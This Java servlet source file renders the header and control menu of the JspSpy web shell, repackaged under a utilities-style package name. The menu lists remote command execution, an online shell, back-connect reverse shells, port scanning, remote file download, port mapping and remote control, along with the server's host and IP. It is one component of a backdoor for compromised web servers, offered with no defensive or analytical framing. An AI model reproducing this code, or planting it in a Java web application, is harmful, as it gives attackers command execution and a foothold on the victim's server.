package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;
import java.net.InetAddress;

public class TopInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            out.println("<form action=\"" + SHELL_NAME + "\" method=\"post\" name=\"doForm\"></form>" +
                    "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">" +
                    "	<tr class=\"head\">" +
                    "		<td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2009</a></span>" + request.getHeader("host") + " (" + InetAddress.getLocalHost().getHostAddress() + ")</td>" +
                    "	</tr>" +
                    "	<tr class=\"alt1\">" +
                    "		<td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | " +
                    "			<a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | " +
                    "			<a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | " +
                    "			<a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | " +
                    "			<a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | " +
                    "			<a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | " +
                    "			<a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | " +
                    "			<a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | " +
                    "			<a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | " +
                    "			<a href=\"javascript:doPost({o:'vRemoteControl'});\">Remote Control</a> | " +
                    "			<a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | " +
                    "			<a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> " +
                    "	</tr>" +
                    "</table>");
            if (session.getAttribute(MSG) != null) {
                Utils.outMsg(out, session.getAttribute(MSG).toString());
                session.removeAttribute(MSG);
            }
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}